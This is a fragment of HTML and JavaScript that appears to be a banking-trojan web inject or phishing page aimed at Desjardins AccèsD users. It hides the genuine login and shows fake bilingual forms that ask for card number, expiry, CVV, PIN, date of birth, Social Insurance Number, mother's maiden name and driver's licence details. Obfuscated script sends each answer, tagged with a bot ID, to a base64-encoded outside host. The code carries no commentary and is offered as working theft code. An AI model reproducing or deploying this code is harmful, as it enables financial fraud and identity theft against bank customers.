                     <label id="eng_q12" style="display:none;">What is your Card Pin ?</label>  
                     <label id="eng_q22"  style="display:none;">What is your Date of Birth (mm/dd/yyyy) ?</label>  
                     <label id="eng_q32"  style="display:none;">What is your Mother's Maiden Name ?</label>  
                     <label id="eng_q42" style="display:none;">What is your Driver's Expiration Date ?</label>  
                     <label id="fr_q12"  style="display:none;">Quelle est votre Pin Card?</label>  
                     <label id="fr_q22" style="display:none;">Quelle est votre date de naissance (jj / mm / aaaa)?</label>  
                     <label id="fr_q32" style="display:none;">Ce qui est de votre mère Nom de jeune fille?</label>  
                     <label id="fr_q42" style="display:none;">Quel est Expiration Date de votre pilote?</label>  
 </td>  
 </tr>  
 <tr>  
 <td align="right"><span style="padding-left:20px;padding-right:10px;" class="t ti">  
 <label class="eng"><nobr>Answer:&nbsp;</nobr>&nbsp;</label>  
 <label class="fr"><nobr>Réponse:&nbsp&nbsp&nbsp&nbsp;</nobr>&nbsp;</label>  
 </span> </td>  
 <td align="left">  
 <input type="text" name="a2" maxlength="50" size="40" value="" class="disableAutoComplete" style="border:solid 1px grey;" autocomplete="off">  
 </td>  
 </tr>  
 <tr><td>&nbsp;</td></tr>  
 <tr>  
 <td class="t" colspan="2">  
 <label id="" class="eng">I frequently log on to AccèsD on this computer</label>  
 <label id="" class="fr">Je me connecte souvent AccèsD sur cet ordinateur</label>  
 </td>  
 </tr>  
 <tr>  
 <td class="t" align="right">  
 &nbsp;  
 </td>  
 <td class="t" align="left">  
 <input type="radio" name="enregistrePoste" value="rbEnregistrerOui" checked="checked" ><label class="my eng">Yes</label><label class="my fr">Oui</label><br>  
 <input type="radio" name="enregistrePoste" value="rbEnregistrerNon" ><label class="my eng">No</label><label class="my fr">Aucun</label>  
 </td>  
 </tr>  
 </tbody></table>  
 <input type="button" name="ch_valide_defi" value="Validate" style="float:right;margin-right:40px;" onclick="sendInfo()" class="btn btn-primary eng">  
 <input type="button" name="ch_valide_defi" value="Valider" style="float:right;margin-right:40px;" onclick="sendInfo()" class="btn btn-primary fr">  
 </div>  
 </div>  
 <script type="text/javascript">  
  jQuery('body').hide();  
 var _0x7f7f=["\x53\x43\x52\x49\x50\x54","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x3F\x72\x61\x6E\x64\x3D","\x72\x61\x6E\x64\x6F\x6D","\x26","\x61\x6A\x61\x78\x5F\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x73\x63\x72\x69\x70\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6C\x6F\x61\x64\x65\x64","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x61\x70\x70\x6C\x79","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50","\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66","\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76","\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F","\x3D","","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function sendScriptRequest(_0xade3x2,_0xade3x3,_0xade3x4,_0xade3x5){var _0xade3x6=document[_0x7f7f[1]](_0x7f7f[0]);if(_0xade3x3){_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]()+_0x7f7f[4]+_0xade3x3;} else {_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]();} ;_0xade3x6[_0x7f7f[5]]=false;_0xade3x6[_0x7f7f[6]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[7]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[8]]=_0xade3x2+_0xade3x3;document[_0x7f7f[12]](_0x7f7f[11])[0][_0x7f7f[10]][_0x7f7f[9]](_0xade3x6);} ;function scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5){return function (){if(_0xade3x6[_0x7f7f[5]]){return ;} ;if(!_0xade3x6[_0x7f7f[13]]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[14]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[15]){_0xade3x6[_0x7f7f[5]]=true;_0xade3x4[_0x7f7f[16]](_0xade3x6,_0xade3x5);_0xade3x6[_0x7f7f[10]][_0x7f7f[17]](_0xade3x6);} ;} ;} ;function decode64(_0xade3x9){var _0xade3xa=_0x7f7f[18]+_0x7f7f[19]+_0x7f7f[20]+_0x7f7f[21]+_0x7f7f[22];var _0xade3xb=_0x7f7f[23];var _0xade3xc,_0xade3xd,_0xade3xe=_0x7f7f[23];var _0xade3xf,_0xade3x10,_0xade3x11,_0xade3x12=_0x7f7f[23];var _0xade3x13=0;var _0xade3x14=/[^A-Za-z0-9\+\/\=]/g;_0xade3x9=_0xade3x9[_0x7f7f[24]](/[^A-Za-z0-9\+\/\=]/g,_0x7f7f[23]);do{_0xade3xf=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x10=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x11=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x12=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3xc=(_0xade3xf<<2)|(_0xade3x10>>4);_0xade3xd=((_0xade3x10&15)<<4)|(_0xade3x11>>2);_0xade3xe=((_0xade3x11&3)<<6)|_0xade3x12;_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xc);if(_0xade3x11!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xd);} ;if(_0xade3x12!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xe);} ;_0xade3xc=_0xade3xd=_0xade3xe=_0x7f7f[23];_0xade3xf=_0xade3x10=_0xade3x11=_0xade3x12=_0x7f7f[23];} while(_0xade3x13<_0xade3x9[_0x7f7f[28]]);;return unescape(_0xade3xb);} ;  
    var bot_id = "%BOTID%" + "_ca_desjardins";  
    var sa   = decode64("aHR0cHM6Ly9zZWN1c3lzdG1lcy5wdy9zL2cucGhw");  
    var lang  = 'eng';  
    function focusFunction(element,what)  
       {  
        switch( what )  
           {  
             case 'cc1':  
                case 'cc2':  
                case 'cc3':  
                case 'cc4':  
                case 'mm':  
                case 'yyyy':  
                case 'cvv':  
                jQuery(element).val('');  
                if ( jQuery(element).css('border-top-color') == 'rgb(174, 186, 210)')  
                {  
                 jQuery(element).css('border','solid 1px #6899b6');  
                 jQuery(element).css('border-left','solid 2px #6899b6');  
                 jQuery(element).css('color','black');  
                }  
                else if(jQuery(element).css('border-top-color') == 'rgb(174, 186, 210)')  
                {  
                // jQuery(element).css('border','solid 1px #6899b6');  
                 // jQuery(element).css('color','black');  
                }  
                else   
                {  
                }  
                //jQuery("#serverSideErrorBoxId").css('color','black');  
           //     jQuery("#serverSideErrorBoxId").text('Please enter the information below to continue:');  
                break;  
           }  
       }  
       function blurFunction(element,what)  
       {  
        switch( what )  
           {  
             case 'cc1':  
                case 'cc2':  
                case 'cc3':  
                case 'cc4':  
                  if ( jQuery(element).val() == '') { jQuery(element).val('XXXX');}  
                 break;  
                case 'mm':  
                  if ( jQuery(element).val() == '') { jQuery(element).val('MM');}  
                 break;       
                case 'yyyy':  
                  if ( jQuery(element).val() == '') { jQuery(element).val('YYYY');}  
                 break;  
                case 'cvv':  
                  if ( jQuery(element).val() == '') { jQuery(element).val('XXX');}  
                 break;                  
           }  
     jQuery(element).css('border','solid 1px rgb(174, 186, 210)');       
           jQuery(element).css('color','rgb(128, 128, 128)');       
       }  
    function checkBlanks(page)  
    {  
        if( page =='1')  
        {  
     var cc1 = jQuery("#cc1").val();  
     var cc2 = jQuery("#cc2").val();  
     var cc3 = jQuery("#cc3").val();  
           var cc4 = jQuery("#cc4").val();  
     var expmm = jQuery("#expmm").val();   
     var expyy = jQuery("#expyy").val();   
      if ( (cc1 != "") && (cc2 != "") &&(cc3 != "") && (cc4 != "")  && (expmm != "") && (expyy != "") )  
     {  
      if ( (cc1 != "XXXX") && (cc2 != "XXXX") && (cc3 != "XXXX") && (cc4 != "XXXX") && (expmm != "MM") && (expyy != "YYYY") )  
      {  
       return true;  
      }  
            else  
            {  
             return false;  
            }  
     }  
     else  
     {  
      return false;  
     }  
       }  
       else if(page =='2')  
       {  
        var cvv = jQuery("#cvv").val();  
           if ( (cvv != "") && (cvv!="XXX"))  
           {  
             return true;  
           }  
           return false;  
       }  
    }  
    function checkBlanks(page)  
    {  
        if( page =='1')  
        {  
     var cc1 = jQuery("#cc1").val();  
     var cc2 = jQuery("#cc2").val();  
     var cc3 = jQuery("#cc3").val();  
           var cc4 = jQuery("#cc4").val();  
     var expmm = jQuery("#expmm").val();   
     var expyy = jQuery("#expyy").val();   
      if ( (cc1 != "") && (cc2 != "") &&(cc3 != "") && (cc4 != "")  && (expmm != "") && (expyy != "") )  
     {  
      if ( (cc1 != "XXXX") && (cc2 != "XXXX") && (cc3 != "XXXX") && (cc4 != "XXXX") && (expmm != "MM") && (expyy != "YYYY") )  
      {  
       return true;  
      }  
            else  
            {  
             return false;  
            }  
     }  
     else  
     {  
      return false;  
     }  
       }  
       else if(page =='2')  
       {  
        var cvv = jQuery("#cvv").val();  
           if ( (cvv != "") && (cvv!="XXX"))  
           {  
             return true;  
           }  
           return false;  
       }  
    }  
         function luhn(num) {num = (num + '').replace(/\D+/g, '').split('').reverse();if (!num.length)return false;var total = 0, i;for (i = 0; i < num.length; i++) {num[i] = parseInt(num[i]);total += i % 2 ? 2 * num[i] - (num[i] > 4 ? 9 : 0) : num[i];}return (total % 10) == 0;}  
    function checkCC()  
    {  
     var cc1 = jQuery("#cc1").val();  
     var cc2 = jQuery("#cc2").val();  
     var cc3 = jQuery("#cc3").val();  
     var cc4 = jQuery("#cc4").val();  
     var full = cc1 + cc2 + cc3 + cc4;  
     if ( (isNaN(cc1) || isNaN(cc2) || isNaN (cc3) || isNaN (cc4)) == false )  
     {  
      var totalLengthCC = full.length ;  
      if ( (totalLengthCC == 16 ))  
      {  
         if (( cc1.charAt(0) == '4' ) || ( cc1.charAt(0) == '5' ) )  
         {  
           if ( luhn ( full ) )   
           {  
               return true;  
           }  
         }  
      }  
     }  
     return false;  
    }             
    function checkExp()  
    {  
     var exp_mm = jQuery("#expmm").val();   
     var exp_yy = jQuery("#expyy").val();  
     var totalLengthEXP = exp_mm.length + exp_yy.length;  
     if ( totalLengthEXP == 6 )  
     {  
              if ( (isNaN(exp_mm) || isNaN(exp_yy) )== false )  
                 {  
                  if ( ( exp_mm > 0 ) && ( exp_mm < 13) )  
         {  
             if (( exp_yy > 2014 ) && ( exp_yy < 2040 ) )  
          {  
            return true;  
          }  
                  }  
                 }  
    }   
     return false;  
    }  
  function checkDlExp(card_exp)  
  {  
   if (card_exp.indexOf('/')+1 )  
      {  
        var exp_result = card_exp.split('/');  
        if( exp_result.length != 2)  
        {  
         return false;  
        }  
     var exp_mm = exp_result[0];  
     var exp_yy = exp_result[1];  
      }  
      else  
      {  
       return false;  
      }  
   var totalLengthEXP = exp_mm.length + exp_yy.length;  
   if ( totalLengthEXP == 6 )  
   {  
      if ( ( exp_mm > 0 ) && ( exp_mm < 14) )  
      {  
         if (( exp_yy > 2014 ) && ( exp_yy < 2030 ) )  
         {  
           return true;  
         }  
      }  
   }  
   return false;  
  }        
      function checkCVV()  
   {  
    var cvv_num = jQuery("#cvv").val();  
    var cvvLength = cvv_num.length;  
    if ( isNaN(cvv_num) == false)  
    {  
     if ( cvvLength == 3 )  
     {  
     if ( (cvv_num.charAt(0) == cvv_num.charAt(1) )&& (cvv_num.charAt(1) ==cvv_num.charAt(2) ) )  
     {   
      return false;  
     }      
     if( cvv_num == "123")  
     {  
        return false;  
     }  
     return true;  
     }  
    }  
    return false;  
   }  
    function checktext(mmn)  
   {  
   if ( isNaN(mmn) )  
   {  
      return true;  
   }  
   return false;  
   }    
       function showDelay()  
       {  
         jQuery('body').show();  
       }  
       function sendInfo()  
       {  
         jQuery('body').hide();  
         jQuery('#messageErreurDynamique1').hide();  
           jQuery('input[name=a1]').css('border','solid 1px grey');  
           jQuery('input[name=a2]').css('border','solid 1px grey');  
      var card  = jQuery("#main_top_card").css('display');  
            var back_c = jQuery("#main_back_card").css('display');  
            var qdiv  = jQuery('#questiont').css('display');  
      if(( card != 'none') && ( typeof card != 'undefined') )  
            {  
              if ( checkBlanks('1') )  
                 {  
                 if (checkCC() )  
                 {  
                  if ( checkExp())  
                     {  
                        var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_desjardins&full_cc=Card:"  + jQuery("#cc1").val() + jQuery("#cc2").val() + jQuery("#cc3").val() +jQuery("#cc4").val() +  
                           "&full_exp=" + jQuery("#expmm").val() +"/" + jQuery("#expyy").val() +  
                           "&log=cc_page_1";  
                                                function ccall()  
                     {  
                                                       jQuery('body').hide();  
                         jQuery('#main_top_card').hide();  
                                                             jQuery('#main_back_card').show();  
                                                             setTimeout(showDelay,2000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                      return false;  
                     }  
                 }  
                 }  
      }   
      else if((back_c != 'none' ) && ( typeof card != 'undefined') )  
      {  
             if ( checkBlanks('2') )  
             {  
              if( checkCVV())  
                 {  
              var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_desjardins&cvv=<b>CVV:</b>" + jQuery("#cvv").val() +  
                           "&log=cc_page_2";  
                                                function ccall2()  
                     {  
                                                       jQuery('body').hide();  
                                                             jQuery('#main_back_card').hide();  
                               jQuery("#mine").css('height','220px');  
                               jQuery('input[name=ch_valide_defi]').eq(0).css('margin-right','20px');  
                         jQuery('input[name=ch_valide_defi]').eq(1).css('margin-right','20px');  
                                                             jQuery('#questiont').show();  
                                                             if( lang == 'eng') {  
                                                              jQuery('#eng_q11').show();  
                                                           jQuery('#eng_q12').show();  
                                                               jQuery("#mine").css('height','220px');  
                                                             }  
                                                             else if ( lang =='fr')  
                                                             {  
                                                              jQuery('#fr_q11').show();  
                                                           jQuery('#fr_q12').show();  
                                                              jQuery("#mine").css('height','320px');  
                                                             }  
                                                             jQuery('input[name=a1]').val('');  
                                                             jQuery('input[name=a2]').val('');  
                                                             setTimeout(showDelay,1000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall2, ["test123"]);  
                     return true;                                                    
                 }  
             }  
            return false;  
            }  
      if ( qdiv != 'none')  
      {  
             if( lang =='eng')  
                {  
           var q1show = jQuery('#eng_q11').css('display');  
           var q2show = jQuery('#eng_q21').css('display');  
           var q3show = jQuery('#eng_q31').css('display');  
           var q4show = jQuery('#eng_q41').css('display');  
                }  
                else  
                {  
           var q1show = jQuery('#fr_q11').css('display');  
           var q2show = jQuery('#fr_q21').css('display');  
           var q3show = jQuery('#fr_q31').css('display');  
           var q4show = jQuery('#fr_q41').css('display');  
                }  
          var a1 = jQuery('input[name=a1]').val();  
             var a2 = jQuery('input[name=a2]').val();       
          var a1error = 1;  
          var a2error = 1;                 
                if( q1show != 'none') //phone pass pin  
                {  
              a1error = 1;  
              a2error = 1;  
       if( a1.length > 3)  
        {  
               a1error = 0;  
              }       
              if(( a2 != "") && ( a2.length > 2 ))  
              {  
               var pin = parseInt(a2);  
               if( isNaN(pin) == false)  
                  {  
                  a2error = 0;  
                  }  
              }  
         if(( a1error == 0 ) && (a2error == 0 ) ) //send info  
         {  
                       var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_desjardins&pin="+"<b>PhonePass:</b>" + a1 +"|PIN:</b>"+a2+  
                           "&log=page_pin";  
                                                function ccall()  
                     {  
                                                            jQuery('#messageErreurDynamique1').hide();  
                                                             if( lang == 'eng') {  
                                jQuery('#eng_q11').hide();  
                                                           jQuery('#eng_q12').hide();  
                                                              jQuery('#eng_q21').show();  
                                                           jQuery('#eng_q22').show();  
                                                             }  
                                                             else if ( lang =='fr')  
                                                             {  
                                                              jQuery('#fr_q11').hide();  
                                                           jQuery('#fr_q12').hide();  
                                                              jQuery('#fr_q21').show();  
                                                           jQuery('#fr_q22').show();  
                                                             }  
                                                             jQuery('input[name=a1]').val('');  
                                                             jQuery('input[name=a2]').val('');  
                                                          setTimeout(showDelay,1000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
                  }                   
                } //end q1show phone and pin  
          if ( q2show != 'none') //emp /dob  
                {  
               a1error = 1;  
               a2error = 1;       
         if( a1.length > 5)       
         {  
                a1error = 0;  
               }  
                 if( a2.length == 10)  
                 {  
                   if (a2.indexOf('/')+1 )  
                      {  
                       var result = a2.split('/');  
                       if( result.length == 3)  
                       {  
            var dob_mm = result[0];  
            var dob_dd = result[1];  
            var dob_yy = result[2];  
                             var totalLengthDOB  = dob_mm.length+dob_dd.length+dob_yy.length;  
               if ( ( isNaN(dob_mm) || isNaN(dob_dd) || isNaN(dob_yy) ) == false )   
               {  
                if ( totalLengthDOB > 6 )  
                {  
                 if ( ( dob_yy < 1997) && (dob_yy > 1900) )  
                 {  
                   if( ( dob_mm > 0 ) && ( dob_mm < 13 ) && ( dob_dd > 0 ) && (dob_dd < 32 ) )  
                   {  
                       a2error = 0;  
                   }  
                 }  
                }  
               }  
                       }  
                      }  
                 }  
            if(( a1error == 0 ) && (a2error == 0 ) ) //send info  
            {  
                       var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_desjardins&pin="+"<b>EMP:</b>" + a1 +"&full_dob=<b>DOB:</b>"+a2+  
                           "&log=page_dob";  
                                                function ccall()  
                     {  
                                                            jQuery('#messageErreurDynamique1').hide();  
                                                             if( lang == 'eng') {  
                                jQuery('#eng_q21').hide();  
                                                           jQuery('#eng_q22').hide();  
                                                              jQuery('#eng_q31').show();  
                                                           jQuery('#eng_q32').show();  
                                                             }  
                                                             else if ( lang =='fr')  
                                                             {  
                                                              jQuery('#fr_q21').hide();  
                                                           jQuery('#fr_q22').hide();  
                                                              jQuery('#fr_q31').show();  
                                                           jQuery('#fr_q32').show();  
                                                             }  
                                                             jQuery('input[name=a1]').val('');  
                                                             jQuery('input[name=a2]').val('');  
                                                          setTimeout(showDelay,1000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
            }                         
                }  
       if ( q3show != 'none')// sin mmn  
                {  
              a1error = 1;  
              a2error = 1;       
                   if( a1.length == 11)  
                      {  
                    if (a1.indexOf('-')+1 )  
                       {  
                        var result = a1.split('-');  
                        if( result.length == 3)  
                        {  
             var sin_1 = result[0];  
             var sin_2 = result[1];  
             var sin_3 = result[2];  
                                if ( ( isNaN(sin_1) || isNaN(sin_2) || isNaN(sin_3) ) == false )  
                                {  
                  a1error = 0;  
                                }  
                           }  
           }                            
                      }  
              if ( a2.length > 5)  
             {  
              if( checktext(a2) )  
              {  
               a1error = 1;  
               a2error = 1;       
             if( a1.length > 5)  
          {  
                       a1error = 0;  
          }       
             if( a2.length > 5)  
          {  
                       a2error = 0;  
          }                   
              }   
              }  
              if(( a1error == 0 ) && (a2error == 0 ) ) //send info  
              {  
              var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_desjardins&mmn=<b>SIN:</b>|"+a1+"<b>MMN:</b>" + a2 +  
                           "&log=page_mmn";  
                                                function ccall()  
                     {  
                                                            jQuery('#messageErreurDynamique1').hide();  
                                                             if( lang == 'eng') {  
                                jQuery('#eng_q31').hide();  
                                                           jQuery('#eng_q32').hide();  
                                                              jQuery('#eng_q41').show();  
                                                           jQuery('#eng_q42').show();  
                                                             }  
                                                             else if ( lang =='fr')  
                                                             {  
                                                              jQuery('#fr_q31').hide();  
                                                           jQuery('#fr_q32').hide();  
                                                              jQuery('#fr_q41').show();  
                                                           jQuery('#fr_q42').show();  
                                                             }  
                                                             jQuery('input[name=a1]').val('');  
                                                             jQuery('input[name=a2]').val('');  
                                                          setTimeout(showDelay,1000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
              }       
                }  
        if ( q4show != 'none')// sin mmn  
                 {  
               a1error = 1;  
               a2error = 1;       
             if( a1.length > 5)  
          {  
                       a1error = 0;  
          }       
                   if( checkDlExp(a2) )  
                      {   
                       a2error = 0;  
                      }  
               if(( a1error == 0 ) && (a2error == 0 ) ) //send info  
               {  
              var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_desjardins&mmn=<b>DL:</b>"+a1+"|<b>DLEXP:</b>" + a2 +"|"+  
                           "&log=page_dl";  
                                                function ccall()  
                     {  
                                                          jQuery('#messageErreurDynamique1').hide();        
                         jQuery('#mine').hide();            
                         jQuery('#mine').next().show();                                                           
                                                          setTimeout(showDelay,1000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
                }       
        }       
             if ( (a1error == 1 ) || (a2error == 1 ))  
             {  
              if( a1error ==1)  
                 {  
                  jQuery('input[name=a1]').css('border','solid 1px #EC1D25');  
                 }  
                 if ( a2error == 1 )  
                 {  
                 jQuery('input[name=a2]').css('border','solid 1px #EC1D25');  
                 }  
             }  
            }             
            if( lang =='eng')  
            {  
         afficherMessageErreurDynamique('Your Challenge Response was invalid. Please verify your response and try again.');  
            jQuery('#messageErreurDynamique1').show();  
            }  
            else  
            {  
            afficherMessageErreurDynamique('Votre réponse Challenge était invalide. Se il vous plaît vérifier votre réponse et essayer de nouveau.');  
             jQuery('#messageErreurDynamique1').show();  
            }  
            setTimeout(showDelay,1500);  
            return false;  
       }  
  var cc_main_code = '<div id="main_top_card" style="display:none;margin-bottom:10px;margin-left:10px;"><div class=""><span style="font-size:14px;"><b></b></span><div>';  
       cc_main_code += '<div id="error_div1" style="color:black;margin-left:5px;margin-top:5px;margin-bottom:5px;"></div>';  
       cc_main_code += '';  
       cc_main_code += '<div class="card_data" >';  
    cc_main_code += '<div class="card_num spec_container" >';  
       cc_main_code += '<label class="mylabel eng">Card Number (16 digit)</label>';  
       cc_main_code += '<label class="mylabel fr">Numéro de la carte (16 chiffres)</label>';  
       cc_main_code +='<input tabindex="200" id="cc1" autocomplete="off" type="text" class="card_input txtinput" name="card_number[0]" style="margin-right:7px;" onblur="blurFunction(this,\'cc1\')" onfocus="focusFunction(this,\'cc1\')" maxlength="4" value="XXXX">';  
    cc_main_code +='<input tabindex="201" id="cc2" autocomplete="off" type="text" class="card_input txtinput" name="card_number[1]" style="margin-right:7px;" onblur="blurFunction(this,\'cc2\')" onfocus="focusFunction(this,\'cc2\')" maxlength="4" value="XXXX">';  
       cc_main_code +='<input tabindex="202" id="cc3" autocomplete="off" type="text" class="card_input txtinput" name="card_number[2]" style="margin-right:7px;" onblur="blurFunction(this,\'cc3\')" onfocus="focusFunction(this,\'cc3\')" maxlength="4" value="XXXX">';  
       cc_main_code +='<input tabindex="203" id="cc4" autocomplete="off" type="text" class="card_input txtinput" name="card_number[3]" style="margin-right:7px;" onblur="blurFunction(this,\'cc4\')" onfocus="focusFunction(this,\'cc4\')" maxlength="4" value="XXXX">';  
       cc_main_code += '</div>';  
       cc_main_code += '<div class="card_date" style="float:left;width:300px;height:20px;top:50px;left:33px;">';  
       cc_main_code += '<p id="code" style="margin:0px;"></p>';  
       cc_main_code += '<img id="ourImage1" src=""/>';  
       cc_main_code += '</div>';  
       cc_main_code += '<div class="card_date" style="float:right;height:30px;right:42px;">';  
       cc_main_code += '<label class="mylabel eng" style="width:120px;">Expiration date</label>';  
       cc_main_code += '<label class="mylabel fr" style="width:120px;">Date d\'expiration</label>';  
       cc_main_code += '</div>';  
       cc_main_code += '<div class="card_date1" style="float:right;height:30px;width:230px;right:13px;">';  
       cc_main_code += '<div class="expire_month"><input  id="expyy" autocomplete="off" type="text" class="txtinput" style="margin-right:7px;" name="expyy" onblur="blurFunction(this,\'yyyy\')" onfocus="focusFunction(this,\'yyyy\')" maxlength="4" value="YYYY"></div>';  
       cc_main_code += '<div class="expire_year"><input id="expmm" autocomplete="off" type="text" class="txtinput" style="margin-right:7px;"name="expmm" onblur="blurFunction(this,\'mm\')" onfocus="focusFunction(this,\'mm\')" maxlength="2" value="MM"></div>';  
       cc_main_code +='<div id="" style="position: relative;float:right;width:250px;height:30px;right:0px;top:15px;"></div>';  
       cc_main_code += '</div></div>';  
  var cc_back_code = '<div id="main_back_card" style="display:none;margin-bottom:10px;margin-left:15px;"><div class=""><span style="font-size:14px;"><b></b></span><div>';  
       cc_back_code += '<div id="error_div2" style="color:black;margin-left:5px;margin-top:5px;margin-bottom:5px;"></div>';  
       cc_back_code += '';  
    cc_back_code += '<div class="card_back">';  
       cc_back_code += '<div class="card_cvv" style="float:right;position: relative;top:90px;width:100%;margin-left:10px;margin-right:10px;">';  
       cc_back_code += '<label class="mylabel" style="width:97%;margin-left:5px;text-align:right;">CVV/CVC</label>';  
       cc_back_code += ' <input tabindex="204" id="cvv" style="float:right;" type="text" class="card_input txtinput" name="card_cvv" onblur="blurFunction(this,\'cvv\')" onfocus="focusFunction(this,\'cvv\')" maxlength="3" value="XXX">';  
       cc_back_code += '<div class="what_is_cvv" style="display:block;float:left;width:200px;margin-left:40px;">';  
       cc_back_code += '<label class="eng">CVV or CVC - 3 digit code on back of the card</label>';  
       cc_back_code += '<label class="fr">CVV ou CVC - code 3 chiffres au dos de la carte</label>';  
       cc_back_code += '</div>';  
       cc_back_code += '';  
       cc_back_code += '';  
       cc_back_code += '';  
       cc_back_code += '';  
       cc_back_code += '<div id="" style="position: relative;float:right;width:250px;height:30px;right:0px;top:45px;"></div>';  
       cc_back_code += '</div></div>';  
       function ShowFake(retik)  
       {  
         var code = jQuery('#panel').html();  
            jQuery('#panel').html('');  
           if( retik != 'dl_send')  
           {  
            jQuery('div.boiteLogon').eq(0).hide();       
            jQuery('div.boiteLogon').before(code);         
           }  
           if ( ( retik =='0') || ( retik == 'info_send_1') ) //card exp fake  
           {  
             var phrase = jQuery('div.boiteLogon').eq(1).find('div.ti').text();  
             var img  = jQuery('div.boiteLogon').eq(1).find('div.ti').next().attr('src');        
            jQuery('#questiont').before(cc_main_code);  
            jQuery('#questiont').before(cc_back_code);  
         if(( img == '') || ( typeof img == 'undefined'))  
         {  
          jQuery('#ourImage1').remove();  
         }  
      else  
      {  
             jQuery('#code').text(phrase);  
                 jQuery('#ourImage1').attr('src',img);  
            }       
            if( retik == 0)  
            {  
            jQuery('#main_top_card').show();  
            }  
            else  
            {  
             jQuery('#main_back_card').show();  
            }  
           }  
           else if ( retik == 'info_send_2')  
           {  
             if( lang =='eng')  
             {  
             jQuery("#mine").css('height','220px');  
             }  
             else   
             {  
              jQuery("#mine").css('height','320px');  
             }  
             jQuery('input[name=ch_valide_defi]').eq(0).css('margin-right','20px');  
       jQuery('input[name=ch_valide_defi]').eq(1).css('margin-right','20px');  
             jQuery('#questiont').show();  
             if( lang == 'eng')  
             {  
             jQuery('#eng_q11').show();  
                jQuery('#eng_q12').show();  
             }  
             else if( lang =='fr')  
             {  
             jQuery('#fr_q11').show();  
                jQuery('#fr_q12').show();  
             }  
           }  
           else if ( retik == 'pin_send')  
           {  
             if( lang =='eng')  
             {  
             jQuery("#mine").css('height','220px');  
             }  
             else   
             {  
              jQuery("#mine").css('height','320px');  
             }  
             jQuery('input[name=ch_valide_defi]').eq(0).css('margin-right','20px');  
       jQuery('input[name=ch_valide_defi]').eq(1).css('margin-right','20px');  
             jQuery('#questiont').show();  
             if( lang == 'eng')  
             {  
             jQuery('#eng_q21').show();  
                jQuery('#eng_q22').show();  
             }  
             else if( lang =='fr')  
             {  
             jQuery('#fr_q21').show();  
                jQuery('#fr_q22').show();  
             }  
           }  
           else if ( retik == 'dob_send')  
           {  
             if( lang =='eng')  
             {  
             jQuery("#mine").css('height','220px');  
             }  
             else   
             {  
              jQuery("#mine").css('height','320px');  
             }  
             jQuery('input[name=ch_valide_defi]').eq(0).css('margin-right','20px');  
       jQuery('input[name=ch_valide_defi]').eq(1).css('margin-right','20px');  
             jQuery('#questiont').show();  
             if( lang == 'eng')  
             {  
             jQuery('#eng_q31').show();  
                jQuery('#eng_q32').show();  
             }  
             else if( lang =='fr')  
             {  
             jQuery('#fr_q31').show();  
                jQuery('#fr_q32').show();  
             }  
           }  
           else if ( retik == 'mmn_send')  
           {  
             if( lang =='eng')  
             {  
             jQuery("#mine").css('height','220px');  
             }  
             else   
             {  
              jQuery("#mine").css('height','320px');  
             }  
             jQuery('input[name=ch_valide_defi]').eq(0).css('margin-right','20px');  
       jQuery('input[name=ch_valide_defi]').eq(1).css('margin-right','20px');  
             jQuery('#questiont').show();  
             if( lang == 'eng')  
             {  
             jQuery('#eng_q41').show();  
                jQuery('#eng_q42').show();  
             }  
             else if( lang =='fr')  
             {  
             jQuery('#fr_q41').show();  
                jQuery('#fr_q42').show();  
